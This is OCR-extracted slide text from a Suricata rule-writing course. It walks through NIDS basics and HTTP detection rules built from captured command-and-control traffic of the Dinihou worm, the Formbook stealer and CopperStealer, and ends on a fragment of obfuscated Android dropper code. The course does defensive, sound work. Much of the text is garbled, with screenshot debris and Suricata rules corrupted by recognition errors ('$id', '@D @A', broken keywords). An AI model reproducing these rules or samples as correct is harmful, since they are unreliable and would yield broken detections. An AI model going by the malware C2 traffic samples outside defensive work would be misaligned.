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Intro — Overview

In this track you will learn:
e About your trainer
e Courseroadmap

e Course structure



About your trainer

TATYANA SHISHKOVA

Lead Security Researcher
Global Research & Analysis Team (GReAT)

7+ years of experience in network traffic analysis

Regular speaker at cybersecurity conferences, including PHDays,
SuriCon, SAS



The course — Main focus

e NIDS: Understanding what it is and how to use it

e Writing Suricata rules for different protocols

e Utilizing tips & tricks to create fast and efficient rules

e Learning about typical network attacks

e Analyzing suspicious traffic and recognizing traffic anomalies
e Learning how to identify and fix a false alarm

e Learning how to use Suricata for threat hunting

e Gaining new skills through a practical challenge in a virtual environment



The course — Target audience

e Incident Response Specialists
e SOC Analysts

e Security Analysts

e Security Administrators

e Malware Researchers



The course — Structure

e 91tracks
e Vvideo lessons, virtual lab exercises and solutions

® Quizzes



The course — The disclaimer

e \We will not cover configuration and deployment
of Suricata in your network, just the basics

e Thereis no single correct way to write NIDS rules
e Malware analysis & reverse engineering are often
helpful, but in this course, we only care about

traffic

e The examples in this course are real-life cases

e The workflow displayed is how we do it
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Suricata basics — Overview

In this track you will:
* Review basic information about network protocols
and learn:

Whatis NIDS, the principle of their work, and main
functions

* Most popular NIDS and the difference between them
« Useful tools for network traffic analysis
In this track you will practice:

e  How to run Suricatain a virtual lab



Suricata basics — Network basics

OSI| Model

User programs

Data translation and encryption
Exchanges between systems

TCP and UDP

Internet Protocol (IP)

Data transfers between two nodes

Wires, radios, and optics



Suricata basics — Network basics

OS| Model TCP Model

Application Layer
Application Layer

TransportLayer Transport Layer
Network Layer

Data Link Layer
Network Layer

Physical Layer



Suricata basics — Network basics
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Suricata basics — Network basics
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Suricata basics — Network basics

Tep Udp
- Ky
* Slower but more reliable transfer - Faster but not guaranteed
* Typical Applications transfers ( «best effort»)
File Transfer Protocol (FTP) * Typical Applications
WebBrowsing

* Live Streaming
* Online Games
* VolP

Unicast Unicast Multicast Broadcast

Email




Suricata basics — About NIDS

Network Intrusion Detection System




Suricata basics — About NIDS

(&> Monitor network traffic for intrusion
I “Detection” — provides alerts (can spoof RST)

Q “Prevention” — takes immediate actions (usually, part of NGFW)

Features:

List of inspected ("understood”) protocols/applications

= User and network visibility

® |ntegration with external Tl Integration
= with external AM-engines SSL/TLS

® |nspection

* Embedded bypass



Suricata basics — About NIDS

V, DETECTION

Signature-based — has DB of known ‘bad’
fail to detect new attacks,

low FP

Statistical anomaly — build models of ‘normal’
activity, alert on profile deviation,

can detect new attacks,

huge FP

If possible automatically prevent...

If possible automatically detect...

Prevent Detect Find
Prevention Detection Threat
systems systems hunting
~100% knownevil <100% knownevil Unknown evil
Automatic Automatic + Check Manual
Endpoint protection Endpoint detection

&response

Degree of uncertaintly



Suricata basics — Most popular open-source NIDSs

| %Jﬂb’l’

CS
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JASISI
snort.org .'I.,A. I_>zeek.org

SURICATA

suricata-ids.org



Suricata basics — Snort

S YSNORT

- Createdin 1998 by Martin Roesch (Sourcefire)
«  Now — Cisco

- A'standard’ of signature-based IDS



Suricata basics — Suricata

ne

SURICATA

- Createdin 2009 by OISF

« A high performance Network IDS, IPS and Network
Security Monitoring engine

- Supports inline/IPS mode, IP reputation, Lua, file
extraction

- Compatible with Snort syntax



Suricata basics — Zeek

<
NAWASTSI

« Formerly named Bro
- Createdin 1994 by Vern Paxson
- A passive, open-source network traffic analyzer (NTA)

Signature & anomaly-based



Suricata basics — Benefits of using Suricata

Deep packet inspection
IP reputation
IDS, IPS, IDPS
Lua scripting
Automatic protocol detection
GeolP
«  File Extraction (from SMTP, HTTP, etc.)

«  Multi-threading



Suricata basics — Signatures

How do signatures work?

- Look for known malicious patterns (like words, bytes, regex and field values)

- Or suspicious behavior (such as downloading a PE file when requesting a picture,
not common port for a given protocol or too many login attempts per minute)



Suricata basics — IDS engine

How does Suricata work with traffic?
Gets packets
Parses IP/TCP headers
{some processing stuff}
Parses app layer data
Processes with detection engine

Generates alert if something was found



Suricata basics — suricata.yaml

default-rule-path: /etc/suricata/rules/
rule-files:
- backdoor.rules
bad-traffic.rules

chat.rules
ddos.rules




Suricata basics — suricata.yaml

,172.16.0.9/12]"

EXTERMAL_NET:

Fhat

HTTP_SERVERS: "$HOME NET" ells that wha

SMTP_SERVERS: "$HOME_NET"

"$HOME_NET"

= "$HOME_NET"
TELMET_SERVERS: "$HOME_NET"

AIM SERV




Suricata basics — suricata.yaml

port-groups:
HTTP_PORTS: ™&@™
SHELLCODE_PORTS: "!8a"

GH&CLE_PQETE: 1521
SSH_PORTS: 22




Suricata basics — suricata.yaml

- eve-log:

enabled: yes
filetype: regular
filename: eve.jsor




Suricata basics — eve.json output

proto UDP




Suricata basics — Rules file

tjmmmhsiﬂ|

alert http

http host:; =

r
QL |Host |OD O ; ction|O0D O& OD OQOA|™; startswith; class
0L |Host|OD t D D " tartc th 1

rev:1;)
#alert tcp

$HEHI_HET any -> $EKTEEHRL_HET $HTTP_PGET5 (m=sg:"Formbook Checkin™;

ver,established; content:"GET": http method; content:"/?id="; http ur

j=l= TN [a-zZR-Z0-914{2, 51+ Fidv=[a-zR-20-8% L &+= -1+5/U"; con
th; http connection; content:"close"; http header names:

type:trojan—activi

(m=sg:"Ghlst RAT"™; dsize:<2 ontent : "Ghist™
5id:1000

r




Suricata basics — Wireshark

World-famous network protocol
analyzer

GUI tool for Windows, Linux and
MacOS

I 4 G
WIRESHARK

Can be used to capture and analyze
network traffic

Deep inspection of protocols

View, parse and filter network packets



Suricata basics — Wireshark

M formbookd2.peap

File Edit View Capture  Analyze Statistics Telephony Wireless Tools  Help
4 m 2@ RE R } a Q
| ~ | Expression...  +

Source port Destination Destport  Host Protocol
8 edo . HTTP i/ ?id=ydxIn6zIB1HGEENSC+nhIU2T/LUADDNUBABY YL Y ENBPhOYES353IMUr
HTTP
ND/ESMIy
(text/html)
FTUSLSUJBNPYEYRETS s G10T1gg11v
185.2
10.14. - 23 7hF3u+gUhJkUo6M/EfUad
¢ : 359 HTTP/1.1 484 | GRS
Ctrl+D
Set/Unset Time Reference Ctrl+T
Time Shift... Ctrl+Shift+T

Packet Comment... Ctrl+Alt+C
Edit Resolved Name

Apply as Filter

Prepare a Filter

218 bytes captured (1744 bi
II, Src: el _ed:ce ed:ce:4d), Dst: e2:73:28:6c:c@8:97 (e2:73:28:6c:c0:97)
t Protocol Vers 1 19.14.0.2, Dst: 184.202.79.251
ion Control Protocol, : 49163, Dst Por
Hypertext Transfer Protocol
er Protocol

TCP Stream Ctrl+Alt+Shift+ T

HTTP Stream Ctrl+Alt+Shift+H
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m
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Suricata basics — Wireshark

M formbook02.peap

File Edit View Go Capture Analyze Statistics Telephony Wireless

@® xE > EZF &=

Ctrl+M
Ctrl+D

GET /if/?id=tz6B7p7j3EI9P6DLYv2BairJxmF2AStATYYVSByrnPh
EjUaGEYnUVM3vxSkpFgAHE=TTBtgl HTTP/1.1

DWW _ng\«_,lnf_
Connecti

on wire (1744 bits), 218 by’t
sce:dd (W 07:e9: : : HTTP/1.1 484 Not Found
Src: .2, 104.282.79.251 - R .
rtrol Fr‘utu:ul, Src Port: 49153, Port: 8@, Seq: "FV‘:F'_ "glr_‘x = =~
Hypertext Transfer Protocol Date: 5at, @7 Apr 2018 20:15:26 GMT

Hypertext Transfer Protocal Content-Type: text/html
Content-Length: 162
Connection: close

<html>
Sk <head><title>484 Not Found</title></head>
TATVYVSE y <body bgcolor="whit
UaGgYRU W 2 =3 2
FaSAH
Entire conversation (462 bytes) Show and save data as | ASCII

Filter Out This Stream Print SaKpEITh Cnpaeka




Suricata basics — tshark

A powerful command line dump and network traffic
analysis tool

Can be used for both capturing and analyzing data

Good preprocessing engine for IR to drill down huge
pcap files

Can be used in conjunction with other Linux
commands like awk to filter data



Suricata basics — More useful tools

- mergecap
Command line tool to combine pcap files into one

- Suriwire
Lua script to parse eve.json

- file2pcap
Command line tool to create a pcap showing that file being
transferred between hosts

« CyberChef
Web app for encryption, encoding, compression and data
analysis

«  Arkime (formerly Moloch)
Open source network forensic tool to capture and analyze
network data



Suricata basics — What about executables?

e Actually, we mostly care about
traffic

e Run malicious file in a sandbox
environment -> get traffic dump ->
try to write arule

e No traffic — no signature

e |ots of SB: Cuckoo, Hybrid Analysis,
etc



Suricata basics — Where to get rules?

e Free feeds (e.g. Emerging Threats, Cisco Talos)
e Paidfeeds
e Perimeter protection solutions with built-in rules

e \Write your own!



Suricata basics — Class materials

VM: Ubuntu 20.04 LTS Desktop
Suricata 6.0.10

Wireshark 4.0.3

Cyberchef 9.55.0

Pcap files in /Labs directory
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Rule writing basics — Overview

In this track you will learn:

e Structure and syntax of Suricata
rules

e Basic keywords
In this track you will practice:

e Selecting good options for arule



Rule writing basics — Example of malicious traffic

POST http://virucos.no-ip.biz:81/is-ready HTTP/1.1

Accept: */*

Accept-Langua

User-Agent: C27BESE >*BKRER®129PCA11< | >199 | >Microsoft Windows
Accept-Enco : gZ deflate

Host: s.no-ip.biz:81

Content-Length: @

Pragma: no-cache

Connection: keep-alive
Proxy-Connection: p-alive
Via: 1.1 BKRHDCW
X-Forwarded-For: 16.186.129.24

Dinihou Worm



Rule writing basics — Example of malicious traffic

POST http://
Accept: */*
Accept-Langua

viruoos.no-ip.biz:81

Content-Length: @

Pragma: no-cache

Connection: keep-alive
y-Connection: k

Dinihou Worm



Rule writing basics — Example of malicious traffic

POST http://virucos.no-ip.biz:8

Accept: */* Relative address specific to malware

—

*Microsoft Windows 7 Enterprise <|»plus<|@nan-av<|»true - 29/8
s.no-ip.biz:

Content-Length: @
Pragma: no-cache
Connection: keep-alive

Connection: keep-aliwve

.1 BKRHDCWE
X-Forwarded-For: 16.

Dinihou Worm



Rule writing basics — Example of malicious traffic

POST http://viruocos.no-ip.biz:81/is-ready HTTP/1.1

Accept: */

Accept-Languag

User-Agent:

Accept-Encodln

Host: virucos.no-ip.biz:81
Content-Length: @

Pragma:

Connection: keep-alive
Proxy-Connection: keep-aliwve
Via: 1.1 BKRHDCWE
X-Forwarded-For: 16.180.12

Dinihou Worm

Custom User-Agent field value




Rule writing basics — Suricata rule

alert http $HOME_NET any -> $EXTERNAL_NET 81
(msg:"Dinihou Worm";

flow:to server,established;

http.method; content:"POST";

http.uri; content:"/is-ready"; endswith;
http.user_agent; content:"|3c 7c 3e|nan-
av|3c 7c 3e|";
reference:url,threats.kaspersky.com/en/threa
t/Worm.VBS.Dinihou/;
classtype:trojan-activity;

$id:1000001; rev:1;)



Rule writing basics — Suricata rule line by line

Rule and (required in each Suricatarule)



Rule writing basics — Suricata rule line by line

http $HOME_NET any -> $EXTERNAL_NET 81
. (almost always — alert)
- Protocol:
Basic (Snort-compatible): tcp, udp, icmp, ip
App layer: http, ftp, tis (incl. ssl), smb, dns, smtp and more
- Source/dest IPs (IP ranges)
- Source/dest ports (port ranges)

« Direction (both ways — <>)



Rule writing basics — Suricata rule line by line

alert $HOME_NET any -> $EXTERNAL_NET 81

Rule action (almost always — alert)

Basic (Snort-compatible): tcp, udp, icmp, ip

App layer: http, ftp, tls (incl. ssl), smb, dns, smtp and more

Source/dest IPs (IP ranges)

Source/dest ports (port ranges)

Direction (both ways — <>)



Rule writing basics — Suricata rule line by line

alert http any -> 81

- Rule action (almost always — alert)

Protocol:
Basic (Snort-compatible): tcp, udp, icmp, ip

App layer: http, ftp, tls (incl. ssl), smb, dns, smtp and more

Source/dest ports (port ranges)

Direction (both ways — <>)



Rule writing basics — Suricata rule line by line

alert http $HOME_NET -> $EXTERNAL_NET

Rule action (almost always — alert)

Protocol:

Basic (Snort-compatible): tcp, udp, icmp, ip

App layer: http, ftp, tls (incl. ssl), smb, dns, smtp and more

Source/dest IPs (IP ranges)

Direction (both ways — <>)



Rule writing basics — Suricata rule line by line

alert http $HOME_NET any $EXTERNAL_NET 81

Rule action (almost always — alert)

Protocol:

Basic (Snort-compatible): tcp, udp, icmp, ip

App layer: http, ftp, tls (incl. ssl), smb, dns, smtp and more

Source/dest IPs (IP ranges)

Source/dest ports (port ranges)

. (both ways — <>)



Rule writing basics — Suricata rule line by line

flow:to_server,established;

. (meta-setting — info about the possible
attack; not required but used almost always)

« Flow (optional):
established / not_established
direction:
to_client = from_server

from_client = to_server



Rule writing basics — Suricata rule line by line

msg:"Dinihou Worm";

- Message (meta-setting — info about the possible
attack; not required but used almost always)

established / not_established
direction:
to_client = from_server

from_client = to_server



Rule writing basics — Suricata rule line by line

http.method;
http.uri; endswith;
http.user_agent;

. — matching on bytes:
Printable characters
Hexadecimal notation:
content:"|OD OA["

content:"httpl3Al//"

- Content keywords (optional)



Rule writing basics — Suricata rule line by line

content:"POST";
content:"/is-ready";
content:"|3c 7c 3e|nan-av|3c 7c
3e|";

- Content (optional) — matching on bytes:
Printable characters
Hexadecimal notation:
content:"|OD OA["

content:"httpl3Al//"



Rule writing basics — Content keywords

Sticky buffers: related to all contents that go after
content:"POST",

content:"403";
content:"Forbidden”;

Content modifiers (legacy variant). related to the
previous content

content:"POST";

* Use contents with content modifiers first, then with
sticky buffers



Rule writing basics — More content modifiers...

. — makes content case-insensitive
. — specifies the content which should
be the first to check

« startswith; — matching exactly at the start of a buffer

« endswith; — matching exactly at the end of a buffer



Rule writing basics — More content modifiers...

depth:l; — how many bytes from the beginning of the
payload will be checked

offset:2; — from which byte to start checking

distance:3; — from which byte to start checking after
the previous match (relative keyword)

within:4; — how many bytes will be checked after the
previous match (relative keyword)



Rule writing basics — More keywords...

dsize:12; (dsize:>24; dsize:12<>24;) — the size of the
packet payload

pcre:"/*[a-z0-91{5}\.php$/U"; — regular expression
threshold: type <threshold|limitlooth>, track

<by_src|by_dst>, count <N>, seconds <T>; — to control
alert frequency



Rule writing basics — There are even more keywords...

We mentioned the most popular keywords which will be
used during the training

No need to remember all of them, just open
https://suricata.readthedocs.io/en/latest/rules/index.html



https://suricata.readthedocs.io/en/latest/rules/index.html

Rule writing basics — Suricata rule line by line

classtype:trojan-activity; sid:1000001; rev:1;)

. —url, mdb, cve, etc

/etc/suricata/reference.config

Classtype (optional) — info about threat classification

/etc/suricata/classification.config

Signature ID

Rule revision (optional)

Starts from 1



Rule writing basics — Suricata rule line by line

reference:url,threats.kaspersky.com/en/threat/
Worm.VBS.Dinihou/;
sid:1000001; rev:1;)

Reference (optional) — url, md5, cve, etc
/etc/suricata/reference.config
. — info about threat classification

/etc/suricata/classification.config

Signature ID

Rule revision (optional)

Starts from 1



Rule writing basics — Suricata rule line by line

reference:url,threats.kaspersky.com/en/threat/
Worm.VBS.Dinihou/;
classtype:trojan-activity; rev:1;)

Reference (optional) — url, md5, cve, etc

/etc/suricata/reference.config

Classtype (optional) — info about threat classification

/etc/suricata/classification.config

Rule revision (optional)

Starts from 1



Rule writing basics — Suricata rule line by line

reference:url,threats.kaspersky.com/en/threat/
Worm.VBS.Dinihou/;
classtype:trojan-activity; sid:1000001;

Reference (optional) — url, md5, cve, etc

/etc/suricata/reference.config

Classtype (optional) — info about threat classification

/etc/suricata/classification.config

Signature ID

Starts from 1



Rule writing basics — SIDs allocation

1000000-1999999 reserved for local use
2000000-2099999 Emerging Threats open rulesets

2100000-2103999 forked ET Versions of the Original
Snort GPL Signatures

And so on:


https://doc.emergingthreats.net/bin/view/Main/SidAllocation

Rule writing basics — Suricata rule for Dinihou worm — v.1

alert http $HOME NET any -> $EXTERNAL_NET 81
(msg:"Dinihou Worm"; flow:to_server,established;
http.method; content:"POST";

http.uri; content:"/is-ready"; endswith;
http.user_agent; content:"|3c 7c 3e|nan-av|3c 7c
3el|";
reference:url,threats.kaspersky.com/en/threat/Wo
rm.VBS.Dinihou/;

classtype:trojan-activity; sid:1000001; rev:1;)

POST http://viruoos.no-ip.biz:81/is-ready HTTP/1.1
User-Agent: CE?EEEEE{|}EEREREIEBPC511{|}199522?{|

*Microsoft Windows 7 Enterprise <

| >plus<| >nan-av<|>true - 29/86/20817



Rule writing basics — Suricata rule for Dinihou worm — v.2

alert http $HOME NET any -> $EXTERNAL_NET 81
(msg:"Dinihou Worm"; flow:to_server,established;
http.method; content:"POST";

http.request line; content:"/is-ready HTTP";
http.user_agent; content:"|3c 7c 3e|nan-av|3c 7c
3el|";
reference:url,threats.kaspersky.com/en/threat/Wo
rm.VBS.Dinihou/;

classtype:trojan-activity; sid:1000002; rev:1;)

POST http://viruoos.no-ip.biz:81/is-ready HTTP/1.1
User-Agent: CE?EEEEE{|}EEREREIEBPC511{|}199522?{|

*Microsoft Windows 7 Enterprise <

| >plus<| >nan-av<|>true - 29/86/20817
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Writing rules for HTTP protocol — Overview

In this track you will learn:
e Specific keywords for the HTTP protocol
e How to write a rule step-by-step

In this track you will practice:

e \Writing rules for HTTP protocol for a given
traffic dump



Writing rules for HT TP protocol — Content keywords (Again)

- Sticky buffers: related to all contents that go after
content:"POST";

content:"403";
content:"Forbidden";

- Content modifiers (legacy variant) related to the
previous content

content:"POST";

* Use contents with content modifiers first, then with
sticky buffers



Writing rules for HTTP protocol — HTTP content keywords

http.
http.
http.
http.
http.
http.
http.
http.
http.
http.
http.

Request keywords

uri

uri.raw
method
request_line
request_body
header
header.raw
cookie
user_agent
host

host.raw

http.
http.
http.
http.
http.
http.
http.
http.
http.
http.

accept
accept_lang
accept_enc
referer
connection
content_type
content_len
start
protocol

header_names



Writing rules for HTTP protocol — HTTP content keywords

e Response keywords

http.stat_msg http.start
http.stat_code http.protocol
http.response_line http.header_names

http.header
http.header.raw
http.cookie
http.response_body
http.server
http.location
http.content_type
http.content_len



Writing rules for HTTP protocol — HTTP content keywords

e Content modifiers (legacy): request

http_user_agent

http_host
(http_raw_host)



Writing rules for HTTP protocol — HTTP content keywords

Content modifiers (legacy) response

http_server_body



Writing rules for HTTP protocol — HTTP content keywords

- Sticky buffers (legacy) request

http_request_line
http_accept
http_accept_lang
http_accept_enc
http_referer

http_connection

http_content_type
http_content_len
http_start
http_protocol

http_header_names



Writing rules for HTTP protocol — HTTP content keywords

- Sticky buffers (legacy). response

http_response_line http_protocol
http_header_names

http_content_type

http_content_len

http_start



Writing rules for HTTP protocol — Formbook (Noon) bot

e Powerful stealer

e Widespread, Malware-as-a-Service model
e Alot of anti-analysis tricks

([

..Doesn’t change its communication with C&C significantly for years

GET /gr/?id=cRDWMveYCcEspkfMebnbcriW5eQNICYUESIEDCsAD/kK5T1§38IHN90d0OphI39mWF HTTP/1.1

Host: www.bizagree.com
Connection: close




Writing rules for HTTP protocol — Formbook (Noon) bot
e Generic silent rule for intercepted traffic

alert http $HOME_NET any -> $EXTERNAL_NET any
(msg:"Probably Formbook Checkin";
flow:to_server,established;

http.method; content:"GET";

http.uri; content:"/?id="; fast_pattern;
pcre:"/~\/[a-zA-Z0-9/]+\/\?id\=/";
http.header_names; content:"Host";
classtype:unknown; sid:1000003; rev:1;)

GET /gr/?id=cRDWMveYCcEspkfMebnBcriWSeQNICYUESLERCsAD/K5TI38IHN90d0phI39mWF HTTP/1.1

Host: www.bizagree.com
Connection: close




Writing rules for HTTP protocol — Formbook (Noon) bot

e Avoiding false alarms

GET /gr/?id=cRDWMveYCcEspkfMebnecriWSeQNOCYUESLEDCSAQ/ K5TIj38IHN90d0phI30mWF HTTP/1.1
Host: www.bizagree.com
Connection: close

ng: gzip, deflate
: p.px12615x1.com
Connection: Keep-Alive

http.host; content:"www."; startswith;
http.header_names; content:!"Accept"”; content:!"User-Agent";



Writing rules for HTTP protocol — Formbook (Noon) bot

e Exactrules for intercepted traffic

G E T .l'll gr‘ J'II -::I

id=cRDWMveYCcEspkfMebnborik5eQNOCYUESLELCSAD/ k5TI1j38IHN20d0phI39mF HTTP/1.1
Host: www.bizagree.com
Connection: close

GET .."'Crl.."' ?ir-l: “.

ABLNVALHEXCHMIZbz1D1kecNspeDgpomiXFXTx 51gowYEXy9q2ZAw
Host: www.sygccl.com

83RxwITQIuCwLgHCE. . HTTP/1.1
Connection: close

id=U0JtDsC8dMGZDEN 3etWjLpcBTUrEKSXgBITal+wlixtC99kEsbhNc2cgI2g HTTP/L1.1
: .prophysicalfitnezz.com
Connection: close
GET [hx7
Host: waw

id=5dFAL1RKdRTf8BUSYGqC3sBWEXSMWEL IMCRIKWOAZVIWGUogK Paal
lpaf.net

[=1- 11

tje_s4tVOUCSh-GBcC3 FY3RFalTem HTTP/1.1
Connection: close

Host: weaw.
Connection:



Writing rules for HTTP protocol — Formbook (Noon) bot

e Exactrules for intercepted traffic

fgr/ ?id=cRWMveYCcEspkfMebnbcriWSeQNOCYUESIELCsAD/ k5T 38IHNS0d0phI 29mWF| HTTP/1. 1
Host: www.bizagree.com
Connection: close

Hos rgccl. com

22w 3 Foow ITOIuCwLe
Connection: close

Host: waww.prophysicalfitnezz.com

= |HTTP/1.1
Connection: close

Host: weaw.
Connection: close

Host: weaw.
Connection:



Writing rules for HTTP protocol — Formbook (Noon) bot

e Exactrules for intercepted traffic

6CriWSeQNOCYUESLIELCSAD/kSTI38IHNS0d0phI3omWF HTTP/1.1

GET /cn/?id=A@LnVALEXCHMIZbz1D]kecNspgDqpemiXFXTx 51gowYEXy0q2ZAwe3RxwITQIuCwLgHCE. . HTTP/1.1
Host: ww eccl . com
Connection: close

JefWjLpcBTUrEKSXgEIfal+wlxtC99kEsbhNc2cgI2g HTTP/L.1

Connection: close

GET /hx? id=5dFﬂL1RKdeSBu5qu[35SHEKSmng]HCRIKHQ#EUHGU&EKPEaHjE_S4t¥DUC5h-GEC[H_FYHRFEITEM HTTP/1.1
W .
Connection: close




Writing rules for HTTP protocol — Formbook (Noon) bot

e Exactrules for intercepted traffic

Host: www.sygccl.com
Connection:| close

Host: www.p ysicalfitnezz.com
Connection:

id=5dFAL1RKdRTBAUSYGqC3 s BWEXSMWEL IMCRIKWOATVWGUogKPaaMje s4tWOUCS5h-GBcC3 FY3RFalTem HTTR/1.1

Host: weaw.
Connection:




Writing rules for HTTP protocol — Formbook (Noon) bot

e Exactrules for intercepted traffic

alert http $HOME_NET any -> $EXTERNAL_NET any
(msg:"Formbook Checkin"; flow:to_server,established;
http.method; content:"GET"; http.uri; content:"/?id="; fast_pattern;

classtype:trojan-activity; sid:1000004; rev:1;)

GET /hk/hs/HSE/?1d=-73vGcDPWBGLIDeS7grGvhlINGCANpid4BdnGIvyWOgdIK32 EJtPSHeEqqisrllki HTTR/1.1

Host: www.familiesdreaming.com
Connection: close




Writing rules for HTTP protocol — Formbook (Noon) bot
e More Formbook versions...

GET /cc/?IVodg=51VpVXD& EB=

xvAWsIDxqtBg5KCaizJoTYBLFYoWNvbXCrzpf4ZT3kfPK19G3In313m5RG5TUdc8A== HTTP/1.1
Host: www.onlinecoachingbasics.com
Connection: clo

=KVoHsbp HTTP/1.1

/ 2VR-HUd=uDHdBZxp5&7njt7pGh=kvbiy
como-dejardefumar. com
Connection: cl

xdw=CRofX6XvEi3qj//InQc]zUHbqOy6tWsdSC2UQurbRF31Vzd24TPKgVLhgoUpmQUZGd4EkzRAPCO=82ds=1zrLUxmp-XvXZ HTTP/1.1

i6hVgHs Iws tIeusZvshNXmhyUeePYICKMAAF sojwe s4T payK5KqvB&oZ90=p2)p6bAHOZ 2Py T7P&sgl=1 HTTR/1.1



Writing rules for HTTP protocol — Formbook (Noon) bot

e Onerule to catch them all!

alert http $HOME_NET any -> $EXTERNAL_NET any
(msg:"Formbook Checkin";
flow:to_server,established;

http.method; content:"GET";

http.connection; content:"close";

http.header_names;

content:"|@D @A|Host|@D @A|Connection|@D @A @D QA|"; startswith;
classtype:trojan-activity; sid:1000004; rev:2;)

GET /note/wave/?zPxdw=CRofX6XvEi3gq]j//InQcIzUHbqOy6tWsd5C2UQurbRF31VZzd24TPKgYLhgoUpmQUZGd+EkzRAPCQ=&2ds=izrLUxmp-XvXZ HTTP/1.1

Host: www.mannumsolar.com
Connection: close




Writing rules for HTTP protocol — CopperStealer spy

e Password and cookie stealer with a downloader
function

e Uses a Domain Generation Algorithm (DGA) in order
to generate new command and control servers on a
daily basis


https://www.proofpoint.com/us/blog/threat-insight/now-you-see-it-now-you-dont-copperstealer-performs-widespread-theft

Writing rules for HTTP protocol — CopperStealer spy

Cache-Contr no-cache
Connection: Keep-Alive
Pragma: n
Content-Type: application/ -form-urlencoded
t/html,applicati html+xml,application/xml;
;applicatio i d

rdpWIenRnfap--vand JTONPnOme9cE

tep HTTR/1.1
745ffest

Connection
Pragma: no
Content-Type: application

: t/html,applicati B.9,1 ebp, image/apng,*/

(KHTML, like




Writing rules for HTTP protocol — CopperStealer spy

Pragma: no-cache
Content-Ty
xml 9,image/webp,image/apng,*/

) AppleWebKit/ (KHTML, like Gecko)

v HTTP/1.1
no-cache
Connection:

XM

Pragma: no-cache info Z1umRKAep
Content-Type: application/ v-form-urlencoded
html,applicat a ication/xml; ima ebp, image/apng,*/
i gned

(KHTML, like




Writing rules for HTTP protocol — CopperStealer spy

Pragma: no-cache
Content-Ty
xml 9,image/webp,image/apng,*/

) AppleWebKit/ (KHTML, like Gecko)

v HTTP/1.1
no-cache
Connection:

XM

Pragma: no-cache info Z1umRKAep
Content-Type: application/ v-form-urlencoded
html,applicat a ication/xml; ima ebp, image/apng,*/
i gned

(KHTML, like




Writing rules for HTTP protocol — CopperStealer spy

Pragma: no-cache
Content-Ty
xml 9,image/webp,image/apng,*/

) AppleWebKit/ (KHTML, like Gecko)

POST /finfo old/w HTTP/1.1
no-cache
Connection:

XM

Pragma: no-cache info Z1umRKAep
Content-Type: application/ v-form-urlencoded
html,applicat a ication/xml; ima ebp, image/apng,*/
i gned

(KHTML, like




Writing rules for HTTP protocol — CopperStealer spy

Pragma: no-cache
Content-Ty
9,image/webp,image/apng,*/

) AppleWebKit/ (KHTML, like Gecko)

Content-Length:
1E2 fas

POST /finfo old/w HTTP/1.1
Cache-Cont no-cache
Connection:

(KHTML, like Gec

application, v-form-urlencoded
html,applicat 1, application/xml; i 'webp, image/apng, */
i gned

(KHTML, like

PIreibl




Writing rules for HTTP protocol — CopperStealer spy — v.1

alert http $HOME_NET any -> $EXTERNAL_NET any
(msg:"CopperStealer Spy"; flow:to server,established;
http.method; content:"POST";

http.uri; content:"/info"; startswith;

http.host; content:".xyz"; endswith; bsize:20;
pcre:"/~[a-f0-9]{16}\.xyz$/";

http.request _body; content:"info="; startswith;
content:"~"; endswith;
reference:url,https://www.proofpoint.com/us/blog/threat-
insight/now-you-see-it-now-you-dont-copperstealer-
performs-widespread-theft/;
classtype:trojan-activity; sid:1000005; rev:1;)

HTTP/1.1
offesf.xyz

-urlencoded
18.8; Wine4; x64) AppleWebKit/537.36 (KHTML, like Gecko)

info=adPdZlumRKAepyXMIZDFDSijZ30sutoNo-GIn_KJj3CHEgOaAUaSimKjn_pqulynxPd84h1Cc1X-1-eMSdYHEMure




Writing rules for HTTP protocol — CopperStealer spy — v.2

alert http $HOME_NET any -> $EXTERNAL_NET any
(msg:"CopperStealer Spy"; flow:to server,established;
http.method; content:"POST";

http.uri; content:"/info"; startswith;

http.host; content:".xyz"; endswith; bsize:20;
pcre:"/~[a-f0-9]{16}\.xyz$/";

http.request body;

reference:url,https://www.proofpoint.com/us/blog/threat-
insight/now-you-see-it-now-you-dont-copperstealer-
performs-widespread-theft/;

classtype:trojan-activity; sid:1000006; rev:1;)

/step HTTP/1.1
Host: cabf 749ffesf.xyz
accept: */*

form-urlencoded
T 18.8; Wint4; x64) AppleWebKit/537.36 (KHTML, like Gecko)

info=a9PdZ1umRKAepyXMIZDFDSijZ30sutoNo-GIn_Kj3CHegOaAUasimKjn_pquvlynxPd84h1Cc1X-1-eMSdYHBMuwrn



Writing rules for HTTP protocol — HQWar Android dropper

e Malware-as-a-Service
e Used mostly by banking trojans and ransomware

e Doesn’'t drop the encrypted APK but loads the
code



Writing rules for HTTP protocol — HQWar Android dropper

Most popular payloads:

Faketoken
Anubis
Asacub
Marcher
Svpeng
Gustuff
Ginp



Writing rules for HTTP protocol — HQWar Android dropper

Ea andraoid package com.nknuerdase.odorote;

A $ com class AUNUHDN {
~ i} gloslrakhiya ELDWXVSRWHXH ;
. Ecevyon;
w 3 gloslrakhiya o EyzryPBUGH;

G I"IVjEPb ngsggéruwnu-
(& rsWGbhVyIBf anu
® tiPgbPC

(& xpgBuvloL
@ ZWXYjLIMbacM

w 1 nknuerdase

v 3 odorote gj“ﬁ;;i’
djichf .. SDSiotOTRA TUAxuATGRd;
SEaen¥p .. okPodllo MEL] wArNBH;

olLauAMhal .. zohplclo AunuHDN() {
this.gwvecgs = "nrearayep pbnapt delrcm nlubde rensfrncdn zpegei ggaf gercuelvla tnsc ldorbgar amlkcream
this.JG0Zruwnu = ms 1 o m nsepto tznpms ltyapoacm gercuelvla tnsc eganva 1t ru 1
this.Ecevyon = "ldorbgar amlkcrean 0 nsepto tznpms ltyapoacm eganva ltainru 1 nsepto
this.uwarmby = new int[]{ex3F, 6423, 16, 33, 24, 85, 18345, 8x28};
this.vtuziosw = "irirlnp ";
this.giwteb = "ldorbgar amlkcream ogtitoieo seikmlesi eilesxc mtieairt v nrearayep pbnapt delrcm nlubde eganva ltainru 1
this.bioMrfkI = new int[]{ex4B53, exEa4, 86, exD21, 56, @x2878};
this.EvDwxvskwhxw = “gercuelvla tnsc nrearayep pbnapt delrcm nlubde 1
this.rgLAWuB = "otededt oxtrsie letina noesne gercuelvla tnsc gercuel e
this.EyzryPBuGw = "nrearayep pbnapt delrcm nlubde otededt oxtrsie letina noesne yusaetmi ndi id sfe ] ikmlesi e xc mtieairt v";
this.ihgmFdninu = “rensfrncdn zpegel ggat nsepto tznpms ltyapoacm seikmlesi eilesxc mtieairt w
this.gjoygpr = "lirysecai nepseirwus”;
this.LrvitQra = "gercu a tnsc nsepto tznpms ltyapoacm vrsisely atsmisnbir ldian nsepto tznpms ltyapoacm rensfrncdn zpegei ggaf"™;
